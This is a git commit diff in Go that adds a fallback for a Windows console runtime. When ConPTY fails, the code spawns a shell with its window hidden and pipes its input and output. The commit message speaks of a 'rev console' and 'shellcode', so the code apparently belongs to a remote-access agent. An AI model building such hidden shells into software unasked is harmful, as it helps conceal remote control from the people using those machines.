RBAC changes + fix rev console and process view in shellcode

This commit is contained in:
KingKDot
2026-05-18 21:34:35 -05:00
parent 9e4a6468d3
commit af05a807c6
9 changed files with 1205 additions and 152 deletions
@@ -4,9 +4,16 @@ package runtime
import (
"context"
"io"
"log"
"os"
"os/exec"
"strings"
"sync"
"syscall"
"github.com/UserExistsError/conpty"
"golang.org/x/sys/windows"
)
type winPty struct {
@@ -32,18 +39,98 @@ func (w *winPty) Wait() (int, error) {
return res.code, res.err
}
func startPty(ctx context.Context, shell []string, cols, rows uint16) (ptyHandle, error) {
cmdline := strings.Join(shell, " ")
type rawShell struct {
cmd *exec.Cmd
stdin io.WriteCloser
reader io.ReadCloser
writer *os.File
once sync.Once
waitCh chan waitResult
}
cp, err := conpty.Start(cmdline, conpty.ConPtyDimensions(int(cols), int(rows)))
func (r *rawShell) Read(p []byte) (int, error) { return r.reader.Read(p) }
func (r *rawShell) Write(p []byte) (int, error) { return r.stdin.Write(p) }
func (r *rawShell) Close() error {
r.once.Do(func() {
r.stdin.Close()
r.cmd.Process.Kill()
r.writer.Close()
r.reader.Close()
})
return nil
}
func (r *rawShell) Resize(cols, rows uint16) error { return nil }
func (r *rawShell) Wait() (int, error) {
res := <-r.waitCh
return res.code, res.err
}
func startRawShell(shell []string) (ptyHandle, error) {
cmd := exec.Command(shell[0], shell[1:]...)
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: windows.CREATE_NO_WINDOW,
}
stdin, err := cmd.StdinPipe()
if err != nil {
return nil, err
}
w := &winPty{cp: cp, waitCh: make(chan waitResult, 1)}
pr, pw, err := os.Pipe()
if err != nil {
stdin.Close()
return nil, err
}
cmd.Stdout = pw
cmd.Stderr = pw
if err := cmd.Start(); err != nil {
stdin.Close()
pr.Close()
pw.Close()
return nil, err
}
rs := &rawShell{
cmd: cmd,
stdin: stdin,
reader: pr,
writer: pw,
waitCh: make(chan waitResult, 1),
}
go func() {
code, werr := cp.Wait(context.Background())
w.waitCh <- waitResult{code: int(code), err: werr}
werr := cmd.Wait()
pw.Close()
code := 0
if werr != nil {
if exit, ok := werr.(*exec.ExitError); ok {
code = exit.ExitCode()
} else {
code = 1
}
}
rs.waitCh <- waitResult{code: code, err: werr}
}()
return w, nil
return rs, nil
}
func startPty(ctx context.Context, shell []string, cols, rows uint16) (ptyHandle, error) {
cmdline := strings.Join(shell, " ")
cp, err := conpty.Start(cmdline, conpty.ConPtyDimensions(int(cols), int(rows)))
if err == nil {
w := &winPty{cp: cp, waitCh: make(chan waitResult, 1)}
go func() {
code, werr := cp.Wait(context.Background())
w.waitCh <- waitResult{code: int(code), err: werr}
}()
return w, nil
}
log.Printf("console: conpty failed (%v), falling back to raw shell", err)
return startRawShell(shell)
}